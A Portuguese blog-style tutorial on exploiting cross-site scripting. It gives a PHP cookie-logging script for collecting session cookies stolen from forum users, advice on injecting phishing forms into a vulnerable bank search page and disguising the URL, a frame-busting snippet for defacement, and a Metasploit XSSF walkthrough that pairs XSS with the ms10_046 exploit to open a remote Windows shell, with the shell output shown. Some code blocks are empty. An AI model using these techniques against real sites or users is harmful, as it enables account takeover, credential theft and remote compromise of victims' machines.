XSS (ou CSS, sem confundir com a linguagem para webdesign) é uma vulnerabilidade que permite ao atacante ter acesso à modificação de uma determinada área da página. Sua detecção geralmente é feita incluindo, na variável supostamente vulnerável, um código JavaScript (client-side, ou seja, trabalha no lado do cliente) que apenas mostra uma caixa de alerta com o texto “XSS”. Veja:
Código:
1
| <script> alert( "xss" ); </script> |
Desta falha, há 2 tipos:
Reflected (refletido): Executa-se apenas para o cliente vítima do ataque, que deve incluir engenharia social.
Stored (estocado/permanente): Fica gravado em um banco de dados e executa-se a quem abrir a página. Comum em fóruns, páginas de recados e livros de visitas.
Por que você exploraria uma falha como essa?
Por que você participa de um fórum ou rede social onde todos tem sua conta, cada qual com seus privilégios, e você quer escalá-los. Neste caso, pode ser feito um código que obtém os cookies do navegador e os envia para algum script seu, via GET, que os obtém e os grava. Veja um exemplo:
Crie, no T35 (ou no servidor de sua preferência), um script em PHP desta maneira:
Código PHP:
1
2
3
4
5
6
7
8
9
10
11
12
13
| <?php $cookies = $_SERVER [ 'QUERY_STRING' ]; // obtém-se tudo o que há depois de "?" na URL $grava = fopen ( "hackeds.txt" , "a+" ); // abre-se um arquivo para escrita fwrite( $grava , $cookies . "\n \n \n" ); // grava-se os cookies neste arquivo e pula 3 linhas para organização fclose( $grava ); // fecha o arquivo echo "<script> window.close(); </script>" ; // fecha a janela exit ; // pronto ?> |
Agora, como você conseguirá obter esses cookies?
Simples:
Código:
1
|
Quer outra razão para explorar essa falha? Falsificar um site e conseguir alguma informação, como um login e uma senha, de um usuário. Por exemplo, se o formuário de busca de um banco possui uma falha, e você quer conseguir informações privilegiadas, mas não quer simplesmente criar um fake no T35, para não mudar o domínio, uma sugestão é (para não falar “você pode”) criar um formulário ali mesmo, com um action para uma página em um servidor de sua preferência. E, claro, encriptar um pouco a URL ou usar encurtador de links (se mudar o domínio não for atrapalhar) será interessante. Outra razão é um deface. Dependendo da localização onde está a falha, você pode escrever (com document.write()) um iFrame ou usar um location.href para redirecionar a página. Mas, se a localização da falha é dentro de um frame, há formas de burlar isso. Veja:
Código:
1
| <script> if (window!= top) { top.location.href=location.href; } </script> |
Código:
1
| load XSSF |
Código:
1
2
| Successfully loaded plugin: XSSF |
Código:
1
| xssf_active_victims |
Ainda podemos executar códigos JavaScript em tempo real. Faremos uma caixa de alerta, por exemplo, usando o módulo Auxiliary XSSF Alert. Além disso, ainda podemos ler seus cookies, acessar sua área de transferência, e muito mais. Vamos, por exemplo, invadir o prompt de comando da vítima. Vamos usar o exploit ms10_046_shortcut_icon_dllloader para isso. Veja o processo da digitação:
Código:
1
2
3
4
5
6
| use windows/browser/ms10_046_shortcut_icon_dllloader jobs xssf_active_victims xssf_exploit 7 0 sessions -i l shell |
Código:
1
2
3
4
| Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C:\Documents and Settings\[alvo]>_ |
Para fazer um teste (o alvo estava ciente, já que era minha máquina virtual), usava Debian Linux (de onde partiram as versões Ubuntu – Debian 3, e Educacional – Debian 2 com GUI KDE). A máquina tem 1 GB de RAM (dos quais 350 são para o Windows XP virtualizado).
Até a próxima!
0 comentários:
Postar um comentário